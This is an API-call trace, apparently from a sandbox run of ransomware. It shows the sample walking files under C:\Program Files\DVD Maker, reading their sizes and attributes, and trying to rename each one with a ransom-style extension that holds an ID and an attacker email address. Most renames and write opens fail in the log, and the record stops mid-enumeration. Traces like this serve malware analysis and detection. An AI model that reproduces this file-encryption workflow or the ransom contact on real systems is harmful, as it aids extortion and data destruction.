[0183.473] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.473] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=6717684) returned 1 [0183.473] CloseHandle (hObject=0x1e0) returned 1 [0183.473] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv")) returned 0x20 [0183.474] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0183.474] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv")) returned 0 [0183.474] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.476] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=6765684) returned 1 [0183.476] CloseHandle (hObject=0x1e0) returned 1 [0183.476] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv")) returned 0x20 [0183.476] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0183.477] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv")) returned 0 [0183.477] SetEvent (hEvent=0x174) returned 1 [0183.477] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.478] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=2925684) returned 1 [0183.478] CloseHandle (hObject=0x1e0) returned 1 [0183.478] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv")) returned 0x20 [0183.478] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0183.478] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv")) returned 0 [0183.478] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.479] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=3037684) returned 1 [0183.479] CloseHandle (hObject=0x1e0) returned 1 [0183.486] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv")) returned 0x20 [0183.486] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0183.486] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv")) returned 0 [0183.486] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\sports_disc_mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sports_disc_mask.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.487] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=9170) returned 1 [0183.487] CloseHandle (hObject=0x1e0) returned 1 [0183.487] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\sports_disc_mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sports_disc_mask.png")) returned 0x20 [0183.487] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\sports_disc_mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sports_disc_mask.png")) returned 0x20 [0183.487] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\sports_disc_mask.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sports_disc_mask.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.487] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\sports_disc_mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sports_disc_mask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.488] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576black.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.491] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=4570) returned 1 [0183.491] CloseHandle (hObject=0x1e0) returned 1 [0183.491] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576black.png")) returned 0x20 [0183.491] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576black.png")) returned 0x20 [0183.491] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576black.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.491] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.491] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576_91n92.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.492] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=6440) returned 1 [0183.492] CloseHandle (hObject=0x1e0) returned 1 [0183.492] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576_91n92.png")) returned 0x20 [0183.492] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576_91n92.png")) returned 0x20 [0183.492] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576_91n92.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.665] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576_91n92.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.665] SetEvent (hEvent=0x174) returned 1 [0183.666] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720_480shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720_480shadow.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.667] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=5182) returned 1 [0183.667] CloseHandle (hObject=0x1e0) returned 1 [0183.667] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720_480shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720_480shadow.png")) returned 0x20 [0183.667] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720_480shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720_480shadow.png")) returned 0x20 [0183.667] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720_480shadow.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720_480shadow.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.667] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720_480shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720_480shadow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.667] SetEvent (hEvent=0x174) returned 1 [0183.668] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.668] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=5088) returned 1 [0183.668] CloseHandle (hObject=0x1e0) returned 1 [0183.668] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_buttongraphic.png")) returned 0x20 [0183.668] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_buttongraphic.png")) returned 0x20 [0183.668] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_ButtonGraphic.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_buttongraphic.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.668] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.669] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.670] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=3130) returned 1 [0183.670] CloseHandle (hObject=0x1e0) returned 1 [0183.670] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_selectionsubpicture.png")) returned 0x20 [0183.670] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_selectionsubpicture.png")) returned 0x20 [0183.670] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_SelectionSubpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_selectionsubpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.671] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.671] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.672] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=5025) returned 1 [0183.672] CloseHandle (hObject=0x1e0) returned 1 [0183.672] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_buttongraphic.png")) returned 0x20 [0183.672] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_buttongraphic.png")) returned 0x20 [0183.672] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_ButtonGraphic.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_buttongraphic.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.672] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.672] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.673] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=3118) returned 1 [0183.673] CloseHandle (hObject=0x1e0) returned 1 [0183.673] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_selectionsubpicture.png")) returned 0x20 [0183.673] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_selectionsubpicture.png")) returned 0x20 [0183.673] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_SelectionSubpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_selectionsubpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.673] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.674] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.674] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=4955) returned 1 [0183.674] CloseHandle (hObject=0x1e0) returned 1 [0183.674] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_buttongraphic.png")) returned 0x20 [0183.674] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_buttongraphic.png")) returned 0x20 [0183.675] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_ButtonGraphic.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_buttongraphic.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.675] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.675] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.676] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=3081) returned 1 [0183.676] CloseHandle (hObject=0x1e0) returned 1 [0183.676] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_selectionsubpicture.png")) returned 0x20 [0183.676] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_selectionsubpicture.png")) returned 0x20 [0183.676] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_SelectionSubpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_selectionsubpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.676] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.677] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\photograph.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\photograph.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 